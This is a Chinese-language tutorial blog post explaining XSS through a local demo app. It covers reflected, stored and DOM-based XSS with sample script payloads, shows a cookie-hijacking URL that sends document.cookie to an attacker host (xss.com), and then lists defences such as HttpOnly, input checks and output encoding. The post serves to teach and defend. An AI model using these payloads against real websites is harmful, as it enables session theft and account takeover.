Web安全 之 XSS攻击
本文演示 Demo 的代码地址: XSS
XSS简介
跨站脚本攻击,英文全称是 Cross Site Script,本来缩写是 CSS,但是为了和层叠样式表(Cascading Style Sheets,CSS)有所区别,所以在安全领域叫做 “XSS”。是 Web 安全头号大敌。
XSS攻击,通常指黑客通过 “HTML注入” 篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
XSS 根据效果的不同可以分为三类
接下来会通过 Demo 进行演示,运行 Demo 前安装需 Node 和 MongoDB,具体如何安装不在这里详细介绍了。
在终端里执行如下脚本
git clone https://git.coding.net/yuan285150759/web-tutorial.git
cd web-tutorial/xss && npm i && npm start
然后在浏览器中打开 http://localhost:3000/
可以看到一个简单的文章管理页面

先新增几篇文章测试一下功能,若如下图所示,则没有问题 ~

接下来开始演示不同类型的 XSS攻击
反射型 XSS
反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器。也叫做 “非持久型 XSS”。
我们在搜索框内输入 “袁大师又出新书啦” 时,列表中会展示

当搜索 “XSS ” 时,列表中会展示

此时程序都是正常的,接下来我们再搜索框输入下面内容进行搜索时
<script>alert("xss") ;</script>
列表中会展示

这就是一个简单的反射型 XSS啦。
存储型 XSS
存储型 XSS 会把用户输入的数据“存储”在服务器端。也叫做 “持久型 XSS”(Persistent XSS)。
当我们新增一个名字为下面内容的文章时
XSS <script>alert("xss") ;</script>
列表中会展示和上图一样的效果,并且我们每次刷新页面时都会弹出弹框。如果这真的是放在公网上的一个页面,那么其他人每次打开这个页面也会弹出弹框。赶紧把 “XSS” 这篇文章删掉吧 ~
这就是一个简单的存储型 XSS啦。
DOM Based XSS
通过修改页面的 DOM 节点形成的 XSS,称之为 DOM Based XSS。
当我们新增一个名字为下面内容的文章时
XSS<script>document.getElementById('title').innerHTML = "<a href='https://github.com/zeaho-frontend/seminar'>xss</a>";</script>
页面中会展示

可以看到文章的标题已经被修改了,点击标题会跳转到一个新的页面哦 ~
这就是一个简单的 DOM Based XSS 啦。
Cookie 劫持
一个最常见的 XSS 攻击 就是盗取用户的 Cookie,从而发起 Cookie 劫持攻击。Cookie 中,一般会保存当前用户的登录凭证,如果 Cookie 被黑客盗取,以为着黑客有可能通过 Cookie 直接登进用户的账户,进行恶意操作。
例如诱使别人点击一个网址
http://zeaho.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
如果受骗的用户刚好已经登录过 zeaho.com,那么,用户的登录 Cookie 信息就已经发到了攻击者的服务器(xss.com)了。
XSS 的防御
使用 HttpOnly
浏览器禁止页面的JavaScript访问带有 HttpOnly 属性的 Cookie。
输入检查
- 输入检查,在很多时候也被用于格式检查。这些格式检查,有点像一种“白名单”,也可以让一些基于特殊字符的攻击失效(例如用户名只能为字母、数字组合)。
- 服务器端代码必须有输入检查的逻辑。如果只是在客户端使用JavaScript进行输入检查,是很容易被攻击者绕过的(例如 Postman)。目前Web开发的普遍做法,是同时在客户端JavaScript中和服务器端代码中实现相同的输入检查。客户端JavaScript的输入检查,可以阻挡大部分误操作的正常用户,从而节约服务器资源。
- 比较智能的“输入检查”,可能还会匹配 XSS 的特征。比如查找用户数据中是否包含了“<script>”、“javascript”等敏感字符。这种输入检查的方式,可以称为“XSS Filter”。互联网上有很多开源的“XSS Filter”的实现。
- XSS Filter不够智能。对语境的理解并不完整(例如‘我是“天才”’ → ‘我是"天才"’ )。
输出检查
HtmlEncode、JavascriptEncode、XMLEncode、JSONEncode等。
框架
大部分的 XSS 漏洞可以在模板系统中解决。
参考
《白帽子讲Web安全》